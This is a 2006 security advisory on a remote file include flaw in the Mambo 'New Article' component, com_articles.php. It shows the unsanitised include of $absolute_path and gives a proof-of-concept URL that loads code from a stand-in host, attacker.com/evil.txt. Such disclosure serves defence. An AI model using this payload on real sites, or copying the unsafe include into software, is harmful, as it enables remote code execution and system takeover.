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New Article Mambo Component <= 1.0 (com_articles.php) Remote File Include Vulnerabilities
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Author          : Ahmad Maulana a.k.a Matdhule
Date            : July 17th 2006
Location        : Indonesia, Jakarta
Critical Lvl    : Highly critical
Impact          : System access
Where           : From Remote
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Affected software description:
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Application : New Article Component (com_articles.php)

Version : 1.0

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Vulnerability:
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In folder components we found vulnerability script com_articles.php.

-----------------------com_articles.php---------------------------------
<?php

include($absolute_path.'/language/'.$lang.'/lang_articles.php');

require("classes/html/com_articles.php");
$articles = new articles();

Variables $absolute_path are not properly sanitized. When register_globals=on
and allow_fopenurl=on an attacker can exploit this vulnerability with a
simple php injection script.
 
Proof Of Concept:
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http://[target]/[path]/components/com_articles.php?absolute_path=http://attacker.com/evil.txt?

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Solution:
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sanitize variabel $absolute_path.
 
 
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Contact:
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     matdhule[at]gmail[dot]com
     
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